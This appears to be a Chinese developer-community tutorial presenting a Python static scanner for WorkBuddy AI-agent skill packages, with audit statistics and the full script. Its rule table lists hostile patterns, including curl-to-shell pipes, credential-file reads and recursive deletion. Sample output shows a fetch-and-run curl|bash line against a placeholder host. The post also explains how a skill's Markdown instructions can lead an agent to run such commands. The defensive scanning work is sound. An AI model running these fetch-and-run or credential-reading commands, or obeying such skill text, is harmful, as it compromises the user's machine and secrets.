首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >#WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)

#WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)

原创
作者头像
用户12406184
发布于 2026-11-01 00:14:08
发布于 2026-11-01 00:14:08
2910
举报

#WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)

一、你会遇到的场景

WorkBuddy 的技能(Skill)用久了会攒。技能社区里看到个顺手的、朋友甩过来一个 zip、自己在本地捏一个提示词型的,装的时候都挺随意——因为它看起来就是个 Markdown 文件嘛。

我自己的 skills 目录攒到 57 个的时候,才意识到一个问题:我完全说不出其中任何一个究竟有没有联网、有没有读我的文件、有没有往哪儿发东西。 我只知道它们"能用"。这跟你在手机上装 App 从不看权限申请,是一回事。

企业侧其实已经把这事管起来了。腾讯云官方产品文档记载,WorkBuddy 企业版 5.20.0(2026-10-10 发布)在安全中心新增了「高风险技能安装管控策略,成员导入技能时在端侧拦截」,还新增了「针对提示词、Bash 命令与工具结果的运行时安全策略」【实证,来源:腾讯云产品文档 product/1831/139478】。官方 Changelog 里,5.9.0(2026-10-20,灰度中)也在持续优化技能分享落地页与弹窗体验,5.8.0 则专门优化了「技能云端同步和千级技能管理」【实证,来源:codebuddy.cn 官方 Changelog】。

企业版有端侧拦截,个人用户没有。这篇文章做的事,就是把这条缺的环节自己补上——一个零第三方依赖的 Python 脚本,装之前先扫一遍。

二、结论先行

结论:给技能做静态体检是有价值的,但价值不在"查出病毒",而在于把「这东西到底要干什么」从黑盒变成一张两分钟能读完的清单。

三条核心判断先摆出来:

  1. 「有没有脚本文件」不等于「有没有风险」。 提示词型技能没有一行可执行代码,但它的 SKILL.md 正文是给模型下的指令——里面写 curl xxx | bash,模型就真的会去调 Bash 跑。实测里 26 个提示词型技能,完全干净的和带中危命中的各占一半。
  2. 真正的判据是「声明的权限 ∩ 静态命中的危险调用」。 只扫到危险调用、但技能压根没声明 Bash 权限,那是"想干干不成";反过来,声明了 Bash 又扫到 subprocess,才是"能干并且准备干"。
  3. 降噪比召回重要。 第一版脚本在本机 57 个技能上跑出的原始命中噪音率到了 50%(见第五节),这种报告你不会看第二眼。压到 0% 之后,它才从玩具变成能挂进日常流程的工具。

适用边界:静态扫描只能看到字面量。它挡不住动态拼出来的命令、远程下发的脚本、以及藏在依赖里的逻辑。 它给的是定位坐标,不是终审判决。

三、完整操作步骤

环境:macOS(Apple Silicon)、Python 3.13.12(脚本本身 3.9+ 即可,零第三方依赖)。下面所有路径里的 <skills 根目录> 请换成你自己的技能安装目录。

第 1 步:先确认技能装在哪

代码语言:bash
复制
# 技能通常装在用户级目录下,每个技能一个子目录,入口文件是 SKILL.md
ls -1 ~/.workbuddy/skills | head
ls -1 ~/.workbuddy/skills | wc -l

一个标准的技能包长这样:

代码语言:plaintext
复制
<skills 根目录>/某个技能/
├── SKILL.md          # 入口,头部是 YAML frontmatter
├── scripts/          # 有这个目录 = 工程型技能
│   └── xxx.py
└── README.md         # 说明书,不算执行体

第 2 步:看 frontmatter 里声明了什么权限

这是最省事也最容易被跳过的一步。SKILL.md 开头 --- 之间就是权限声明:

代码语言:yaml
复制
---
name: 某个技能
description: 一句话说明干什么、什么时候触发
allowed-tools: Read, Write, Bash   # ← 关键在这一行
---

allowed-tools 决定这个技能有没有资格调 Bash。我本机 57 个技能里,只有 7 个显式声明了执行类权限,2 个明确声明不带,剩下 48 个压根没写——没写的走宿主默认策略,既不是"安全"也不是"危险",而是"你不知道"。

第 3 步:跑体检脚本

先把脚本文末附录里的 skill_audit_mini.py(149 行,零依赖)存到本地,然后:

代码语言:bash
复制
cd ~/Desktop
python3 skill_audit_mini.py <skills 根目录>

输出是这样的一张表:

代码语言:plaintext
复制
技能           等级      形态      执行权  命中
------------------------------------------------------------
engine-danger  🔴 高危     工程型      未声明    7
prompt-with-pi 🟠 中危     提示词型     未声明    3
engine-clean   🟠 中危     工程型      有        2
prompt-only-cl ✅ 干净     提示词型     无        0
------------------------------------------------------------

▸ prompt-with-pipe(提示词型,3 条)
  对外域名:demo-install.example.io
  [P1] SKILL.md:22 下载串联管道执行
      curl -fsSL https://demo-install.example.io/install.sh | bash
      ↳ 文本提及

最后两列是关键:形态(有没有实体脚本)+ 执行权(有没有被授予 Bash)。

第 4 步:读懂三级降噪,别被报告骗了

脚本对每条命中走的是同一条定级链路,优先级从高到低:

代码语言:python
复制
if h['noise']:        continue        # ① 反例语境:「❌ 不要运行 rm -rf /」——不是威胁,扔掉
if h['doc']:          lv = down(lv,2) # ② README / 示例文件:降两级
if not h['script']:   lv = down(lv)   # ③ 非实体脚本:这是给模型的指令,权限不足才降级
if h['comment']:      lv = down(lv)   # ④ 脚本注释:降一级

第 ③ 条最值得琢磨。同一个技能,把 SKILL.md 里的 curl | bash 换成 subprocess.run(["git", ...]) 写在 scripts 里,报告的等级是反过来的——前者是"建议",后者是"事实"。

还有一个坑:如果脚本里写的是 subprocess.run(cmd, shell=True),cmd 是个变量,静态分析压根认不出要跑什么,脚本会保守地报 P0 并标注:

代码语言:plaintext
复制
[P0] fixer.py:18 子进程执行
    subprocess.run(cmd, shell=True)
    ↳ 命令取自变量,静态不可判定,需人工回看赋值处

改成字面量列表写在同一行,脚本就能认出来是 git,直接降到 P2:同一份功能,换个写法,体检结论天差地别。

第 5 步:把体检挂进安装流程

一次性扫完没意义,装新的之前跑一遍才有意义。写进 shell 配置:

代码语言:bash
复制
# 追加到 ~/.zshrc(macOS 默认 shell 是 zsh)
cat >> ~/.zshrc <<'EOF'
# 技能安装前体检:先看一眼再决定装不装
skcheck() { python3 ~/Desktop/skill_audit_mini.py "$1"; }
EOF

source ~/.zshrc
skcheck ~/Downloads/新技能包        # 解包后对这个目录跑

如果希望每周自动体检一次(比如周一体检、周二看报告),可以在自动化任务里让它每周跑一次并把结果写进 Markdown。注意:这类任务一定要只读,脚本本身就是只读的,别给它加写权限。

四、实测数据

以下全部为本机真实执行结果,非估算。环境为 macOS Apple Silicon、Python 3.13.12,扫描对象为本人 skills 目录下 57 个技能(提示:本文所有技能名均已脱敏,见第五节)。

规模与耗时(连续三次,同一台机器):

指标

第 1 次

第 2 次

第 3 次

端到端耗时

273 ms

270 ms

272 ms

57 个技能、几千个文件,不到 0.3 秒。这个量级意味着它可以无脑挂在每次安装前跑,不构成任何负担。

体检结论分布:

分类

数量

P0 高危

10

P1 中危

18

P2 提示

5

干净

24

合计

57

形态与权限分布(这一组数字才是写这篇文章的原因):

维度

分布

形态

工程型 30 / 提示词型 26 / 未知 1

权限声明

有执行权 7 / 无执行权 2 / 未声明 48

对外域名

80 个(去重后)

48/57 的技能没声明权限。这个比例意味着:在个人版里,「这个技能能不能动我的文件」这件事,默认是没有答案的。

降噪效果:

口径

命中条数

原始正则命中

359

定级后最终保留

249

过滤掉

110 条(降噪 31%)

脚本自检(23 条带期望标签的样本,自检逻辑与主扫描共用同一条定级链路):

代码语言:plaintext
复制
准确率 23/23 = 100.0%
噪音率:应忽略的 6 条里误报 0 条(0%)
漏报率:该报的 17 条里漏了 0 条(0%)

对照之下,第一版脚本同样的 23 条样本只拿到 75% 准确率、50% 噪音率(详见第五节踩坑 1)。改完之后才到了 100/0/0。

五、踩坑与边界

踩坑 1:正则忘了写 raw string,\s 被提前吃掉。 Python 里 '\s' 会触发 SyntaxWarning: invalid escape sequence,而且是字符串拼接时只拼了一半 raw导致的——r"..." 后面接了普通字符串,后半段的转义就失效了。表现是规则"看起来写了但永远不命中",非常隐蔽。整张规则表必须统一写成 r'...'。

踩坑 2:反例语境必须直接扔掉,不能只是降级。 我最初把「不要运行 X」这类行降一级就算了,结果噪音率 50%。原因很简单:技能作者写"❌ 错误写法"的时候,是在教你避坑,不是在准备坑你。判据要硬:出现禁令词 → 忽略。 宁可漏,不要噪音——噪音率超过 30%,这份报告就没人再看了。

踩坑 3:shutil.rmtree('/tmp/cache') 被误判成"删根目录"。 我的家目录正则里有 ['"]/ 这个分支,于是任何引号后跟斜杠的路径都命中 P0。修法是加负向前瞻 (?!/tmp|var|private|usr)。这条修完之后,误报从 P0 掉到 P1——差一级,人的反应完全不同。

踩坑 4:命令名提取漏了逗号。 subprocess.run("git", ...) 里取第一个实参时,我一开始要求引号后必须紧跟右括号 \s*\),但真实代码里引号后面跟的是逗号,导致白名单压根没生效。改成 [,)] 才通。这类细节只有拿真实代码做样本才会暴露,凭想象写规则必错。

踩坑 5:体检报告本身会泄露你的技能清单。 这是我做到一半才意识到的——报告里的技能名和路径,直接把"你在做什么方向的事"抖了个干净。所以脚本必须有脱敏开关:批量跑的时候加参数,把技能名换成 skill-001 这种代号、把家目录路径换成 ~。本文所有真实数据都是脱敏后输出的。你自己发报告之前也记得开。

边界(什么情况下这招不好使):

  1. 挡不住动态行为。 命令的动态拼接、远程下发的脚本、混淆过的 payload,静态扫描看不见。这类只能靠运行时沙箱,那是企业版的事。
  2. 挡不住供应链。 技能依赖的 pip 包里有什么,本脚本不管(只提示"会安装依赖")。
  3. 不是杀毒软件。 P0 只代表"这条语句执行下去后果不可逆",不代表作者有恶意。我那 10 个 P0 里,绝大多数是正常的、作者知道自己在写什么的代码。
  4. frontmatter 不是强制字段。 各家技能包的权限字段命名不统一,脚本做了宽松匹配,但仍有机率读不出声明——读不出就当"未声明"处理,宁严不松。

六、小结

花在体检上的时间是每次不到 0.3 秒,换来的是"我知道它要干什么"。对一个攒了几十个技能的人来说,这笔账是划算的——真正贵的不是扫描的成本,是你在不知情的情况下把 Bash 权限交给了一行没读过的代码。

三个可以立刻用起来的动作:把脚本存下来 → 给自己装个 skcheck 别名 → 下次装技能前跑一遍。至于那些已经装上的,挑周末一次性扫一遍,先看 P0 那几个。


附录:完整脚本

正文里贴的是最小可用版(149 行),够用、能跑、零第三方依赖。放到 ~/Desktop/skill_audit_mini.py:

代码语言:python
复制
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
skill_audit_mini.py —— 技能包安装前的静态体检(最小可用版,零第三方依赖)
macOS / Linux / Windows 均可,Python 3.9+。默认只读,不联网、不执行被扫的任何代码。

用法:
    python3 skill_audit_mini.py ~/.workbuddy/skills
"""
import os, re, sys
from pathlib import Path

# 规则表:顺序即优先级。必须写成 raw string(r'...'),否则 \s 会被提前吃掉。
RULES = [
    (r'curl[^\n|;]{0,200}\|\s*(?:sudo\s+)?(?:ba|z|fi)?sh\b', 'P0', '下载串联管道执行'),
    (r'base64\s+(?:-d|--decode)|atob\s*\(', 'P0', '混淆载荷'),
    (r'rm\s+-[rRfF]{1,3}[^\n]{0,80}(?:/\s*$|/\s*[\'"\s]|~/?\s*$|\$HOME)', 'P0', '根目录/家目录递归删除'),
    (r'id_rsa|\.aws/credentials|OPENAI_API_KEY|ANTHROPIC_API_KEY', 'P0', '读取本机凭证'),
    (r'os\.system\(|subprocess\.(?:run|call|Popen)|pty\.spawn', 'P0', '子进程执行'),
    (r'(?:^|[^\w.])(?:rm|rmdir)\s+-[rRfF]{1,3}|shutil\.rmtree\(', 'P1', '递归删除'),
    (r'requests\.(?:get|post|put)\s*\(|urllib\.request\.urlopen|\bfetch\s*\(|axios\.post', 'P1', '对外网络请求'),
    (r'open\s*\([^)]{0,80}[\'"]w[\'"]|\.write_text\(|\.write_bytes\(', 'P1', '写/覆盖文件'),
    (r'chmod\s+\+x|launchctl\s+load|crontab\s+-|nohup\s+', 'P1', '持久化/常驻'),
    (r'(?:~|\$HOME)/(?:Documents|Desktop|Downloads)|/Library/Application Support', 'P1', '触碰敏感目录'),
    (r'\b(?:pip3?|npm|brew|uv)\s+install|^\s*sudo\s+', 'P2', '安装依赖/提权'),
]
COMPILED = [(re.compile(p), lv, nm) for p, lv, nm in RULES]
# 反例语境:写着「不要运行 X」的行不是威胁,直接忽略,否则噪音淹没整份报告
NOISE = re.compile(r'不要|禁止|切勿|避免|错误写法|反例|❌|never\b|don\'?t\b|avoid\b', re.I)
DOC_FILE = re.compile(r'(?:readme|example|sample|demo|示例|样例|说明|usage)', re.I)
COMMENT = re.compile(r'^\s*(?:#|//|\*|/\*)')
DOMAIN = re.compile(r'https?://([A-Za-z0-9][A-Za-z0-9.\-]*\.[A-Za-z]{2,})')
SAFE_CMDS = {'git', 'ls', 'cat', 'head', 'tail', 'wc', 'date', 'echo', 'which', 'pwd', 'whoami'}
CMD_LIT = re.compile(r'\[\s*["\']([a-zA-Z0-9_.\-/]+)["\']|\(\s*["\']([a-zA-Z0-9_.\-/]+)["\']\s*[,)]')
CODE_EXT = {'.py', '.sh', '.bash', '.zsh', '.js', '.mjs', '.ts', '.rb', '.pl', '.php'}
SCAN_EXT = CODE_EXT | {'.md', '.txt', '.json', '.yaml', '.yml', '.toml'}
SKIP_DIRS = {'node_modules', '.git', '__pycache__', '.venv', 'venv', 'dist', 'build'}
DOWN = {'P0': 'P1', 'P1': 'P2', 'P2': None}
ORDER = {'P0': 0, 'P1': 1, 'P2': 2}

def down(lv, n=1):
    for _ in range(n):
        lv = DOWN.get(lv)
        if lv is None:
            return None
    return lv

def frontmatter(text):
    """抠 SKILL.md 头部的 YAML frontmatter,只取工具权限那几行,不引第三方库。"""
    if not text.startswith('---'):
        return None
    tools = None
    for raw in text.splitlines()[1:120]:
        if raw.strip() in ('---', '...'):
            break
        m = re.match(r'(?:allowed[-_]?tools|tools)\s*:\s*(.+)', raw, re.I)
        if m:
            tools = [t.strip() for t in re.split(r'[,\s]+', m.group(1)) if t.strip()]
    return tools

def scan(root):
    root = Path(root)
    hits, domains, scripts, files = [], set(), 0, 0
    for dp, dn, fns in os.walk(root):
        dn[:] = [d for d in dn if d not in SKIP_DIRS and not d.startswith('.')]
        for fn in fns:
            p = Path(dp) / fn
            if p.suffix.lower() not in SCAN_EXT or p.stat().st_size > 512 * 1024:
                continue
            files += 1
            is_script = p.suffix.lower() in CODE_EXT
            is_doc = bool(DOC_FILE.search(fn)) and not is_script
            scripts += is_script
            for i, line in enumerate(p.read_text('utf-8', 'ignore').splitlines(), 1):
                if len(line) > 4000:
                    continue
                for rx, lv, name in COMPILED:
                    if not rx.search(line):
                        continue
                    hits.append(dict(file=fn, line=i, level=lv, cat=name, snippet=line.strip()[:140],
                                     noise=bool(NOISE.search(line)), script=is_script,
                                     doc=is_doc, comment=bool(COMMENT.match(line)) and is_script))
                    break
                domains |= set(DOMAIN.findall(line))

    tools = frontmatter((root / 'SKILL.md').read_text('utf-8', 'ignore')) if (root / 'SKILL.md').exists() else None
    exec_cap = None if tools is None else any(
        re.sub(r'\(.*', '', t).lower() in {'bash', 'shell', 'terminal', 'exec', 'execute', 'command'}
        or t.lower().startswith('bash(') for t in tools)

    out = []
    for h in hits:
        lv, note = h['level'], []
        if h['noise']:                                   # 反例语境,忽略
            continue
        if h['doc']:                                     # README / 示例,降两级
            lv = down(lv, 2)
        else:
            if not h['script']:                          # 非实体脚本 = 给模型下的指令
                lv = down(lv) if exec_cap is not True else lv
            if h['comment']:                             # 脚本注释,降一级
                lv = down(lv)
        if lv is None:
            continue
        if h['cat'] == '子进程执行':
            cm = CMD_LIT.search(h['snippet'])
            cmd = next((g for g in cm.groups() if g), None) if cm else None
            if cmd and cmd.lower() in SAFE_CMDS:
                lv, note = 'P2', ['跑的是安全命令 `%s`' % cmd]
            elif not cmd:
                note = ['命令取自变量,静态不可判定,需人工回看赋值处']
        out.append(dict(h, level=lv, note=';'.join(note) or ('实体脚本,会真执行' if h['script'] else '文本提及')))

    out.sort(key=lambda x: (ORDER[x['level']], x['file'], x['line']))
    return dict(name=root.name, kind='工程型' if scripts else '提示词型', tools=tools or [],
                exec_cap=exec_cap, hits=out[:24], domains=sorted(domains),
                worst=min((h['level'] for h in out), key=lambda L: ORDER[L]) if out else 'OK')

def main():
    base = Path(os.path.expanduser(sys.argv[1]))
    if not base.exists():
        sys.exit('目录不存在:%s' % base)
    res = sorted((scan(p) for p in sorted(base.iterdir()) if p.is_dir()),
                 key=lambda r: (ORDER.get(r['worst'], 9), -len(r['hits'])))
    label = {'P0': '🔴 高危', 'P1': '🟠 中危', 'P2': '🟡 提示', 'OK': '✅ 干净'}
    ex = {True: '有', False: '无', None: '未声明'}
    print('\n技能           等级      形态      执行权  命中')
    print('-' * 60)
    for r in res:
        print('%-14s %-8s %-8s %-6s %d' % (r['name'][:14], label[r['worst']], r['kind'], ex[r['exec_cap']], len(r['hits'])))
    print('-' * 60)
    for r in res[:2]:
        if r['worst'] in ('P0', 'P1'):
            print('\n▸ %s(%s,%d 条)' % (r['name'], r['kind'], len(r['hits'])))
            if r['domains']:
                print('  对外域名:%s' % ', '.join(r['domains'][:5]))
            for h in r['hits'][:5]:
                print('  [%s] %s:%d %s' % (h['level'], h['file'], h['line'], h['cat']))
                print('      %s' % h['snippet'][:100])
                print('      ↳ %s' % h['note'])

if __name__ == '__main__':
    main()

发布信息

  • 标题:#WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)
  • 标签:WorkBuddy、AI 办公、效率工具
  • 来源:原创
  • 专栏:AI 与大数据
  • 板块:实用文章

发布前自查

  • 补 5 张真实截图(下方清单)
  • 红线扫描:按本地 规则与红线.md 第二节逐条核对一遍(清单不外贴到页面上)
  • 所有技能名已脱敏;若要贴真实目录路径,先确认不含个人信息
  • 文中的 57 / 10 / 18 / 5 / 24 / 48 / 80 / 359 / 249 / 270–273ms 均为本机实测,换机器要重跑更新
  • 引用了企业版 5.20.0 安全策略(官方产品文档)— 发布前建议再核一次文档页面是否还在
  • 截止提醒里的比赛信息为二手来源,发布当天已过期可直接删掉该行

截图位清单

截什么

怎么截

1

技能包解包后的目录树

终端 tree -L 2 <skills 根目录>/某技能

2

SKILL.md 的 frontmatter

编辑器打开,allowed-tools 那行高亮

3

脚本跑批输出的终端结果

python3 skill_audit_mini.py demo-skills 完整输出

4

三次计时对比

time 连续三次的输出并排

5

自检输出

python3 skill_audit.py --selftest 的准确率行

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

目录
  • #WorkBuddy# 技能装进 WorkBuddy 之前先看一眼:我给本机 57 个技能做了静态体检,48 个压根没声明权限(附零依赖脚本)
    • 一、你会遇到的场景
    • 二、结论先行
    • 三、完整操作步骤
      • 第 1 步:先确认技能装在哪
      • 第 2 步:看 frontmatter 里声明了什么权限
      • 第 3 步:跑体检脚本
      • 第 4 步:读懂三级降噪,别被报告骗了
      • 第 5 步:把体检挂进安装流程
    • 四、实测数据
    • 五、踩坑与边界
    • 六、小结
    • 附录:完整脚本
    • 发布信息
    • 发布前自查
    • 截图位清单
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档